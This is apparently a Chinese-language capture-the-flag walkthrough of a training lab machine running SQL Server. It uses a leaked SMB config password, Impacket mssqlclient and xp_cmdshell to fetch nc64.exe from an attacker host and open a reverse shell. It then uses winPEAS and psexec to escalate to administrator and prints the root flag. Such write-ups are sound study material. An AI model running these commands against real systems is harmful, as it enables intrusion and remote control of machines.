AI摘要:本文详细记录了渗透测试过程,包括使用 **Nmap** 发现 **SQL Server** 1433 端口,通过 **SMB** 共享获取数据库连接密码 **M3g4c0rp123**。文章还介绍了利用 **Impacket** 的 **mssqlclient.py** 工具连接 SQL Server,并使用 **xp_cmdshell** 获得反弹 shell。最后,利用 **winPEAS** 提权,获取管理员密码,成功拿到 **user.txt** 和 **root.txt** 标志。
1.哪个 TCP 端口托管数据库服务器?
nmap -sV 10.129.95.187 //使用nmap扫描端口
可以看到是1433端口运行着sql
2.可通过 SMB 访问的非管理共享的名称是什么?
很明显是backups
3.SMB 共享上的文件中标识的密码是什么?
首先使用smbclient连接
smbclient //10.129.95.187
将prod.dtsConfig这个文件get下来
查看文件内容:
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
可以获得信息:
- 配置类型是属性(
ConfiguredType="Property"
) - 配置路径是 SSIS 包里的
Connections
中Destination
连接的ConnectionString
属性。 配置值是你写的这一长串连接字符串,包含:
- 数据源是本地 (
Data Source=.
) - 数据库用户是
ARCHETYPE\sql_svc
- 密码是
M3g4c0rp123
- 初始数据库是
Catalog
- 用
SQLNCLI10.1
Provider - 保持安全信息 (
Persist Security Info=True
) - 关闭自动翻译 (
Auto Translate=False
)
- 数据源是本地 (
获得密码:M3g4c0rp123
4.可以使用 Impacket 集合中的哪个脚本来建立与 Microsoft SQL Server 的经过身份验证的连接?
常识问题,mssqlclient.py
注意一点,我们要连接的是一台windows电脑,所以要加上 -windows-auth参数
python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.129.37.217 -windows-auth
5.可以使用 Microsoft SQL Server 的哪个扩展存储过程来生成 Windows 命令 shell?
经典,xp_cmdshell
6.可以使用什么脚本来搜索在 Windows 主机上提升权限的可能路径?
还是常识问题,winPEAS
首先设置监听
python3 -m http.server 80
nc -lvnp 443
注意,SQL Server默认是禁用xp_cmdshell的,开启方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
接着将nc64从攻击机wget过去
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.9/nc64.exe -outfile nc64.exe"
监听回显
反弹shell
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.9 443"
监听回显,拿下权限
8.提交用户标志
从桌面看到user.txt。里面就是用户标识
type filename user.txt
7.哪个文件包含管理员的密码
对你没看错,7要在反弹shell后才能进行操作,所以放在8后面了
从攻击机下载提权文件winPEASx64.exe
wget http://10.10.16.9/winPEASx64.exe -outfile winPEASx64.exe
.\winPEASx64.exe
拿到管理员密码
type ConsoleHost_history.txt
登录
python3 psexec.py administrator@10.10.16.9
进入桌面,看到root.txt
type打开拿下根目录标识:b91ccec3305e98240082d4474b848528